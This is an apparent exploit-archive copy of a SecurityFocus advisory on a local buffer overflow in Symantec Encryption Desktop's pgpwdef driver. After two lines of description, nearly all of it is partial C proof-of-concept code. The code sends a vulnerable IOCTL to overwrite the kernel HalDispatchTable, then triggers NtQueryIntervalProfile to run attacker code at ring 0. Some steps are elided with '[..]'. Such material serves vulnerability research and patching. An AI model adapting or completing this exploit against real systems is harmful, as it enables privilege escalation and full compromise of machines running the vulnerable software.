56 lines
No EOL
1.2 KiB
Text
56 lines
No EOL
1.2 KiB
Text
source: https://www.securityfocus.com/bid/57835/info
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Symantec Encryption Desktop is prone to a local buffer-overflow vulnerability.
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A local attacker may exploit this issue to execute arbitrary code with escalated privileges.
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#define IO_CONTROL_VULN 0x80022058
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#define TARGET_DEVICE L"\\Device\\pgpwdef"
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[..]
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usName.Buffer = TARGET_DEVICE;
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usName.Length = usName.MaximumLength =
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(USHORT)(wcslen(usName.Buffer) * sizeof(WCHAR));
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InitializeObjectAttributes(&ObjAttr, &usName, OBJ_CASE_INSENSITIVE ,
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NULL, NULL);
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// get handle of target devide
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ns = f_NtOpenFile(
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&hDev,
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FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
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&ObjAttr,
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&StatusBlock,
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FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
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FILE_SYNCHRONOUS_IO_NONALERT
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);
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[..]
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BOOL bStatus = DeviceIoControl(
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hDev,
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IO_CONTROL_VULN,
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InBuff, 0x8,
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OutBuff, 0x8,
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&dwReturnLen, NULL
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);
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dwReturnLen = 0;
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bStatus = DeviceIoControl(
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hDev,
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IO_CONTROL_VULN,
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InBuff, sizeof(PVOID),
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(PUCHAR)m_HalDispatchTable, 0,
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&dwReturnLen, NULL
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);
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[..]
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f_NtQueryIntervalProfile(ProfileTotalIssues, &Interval);
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[..]
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Your evil code processes with CPL==0 |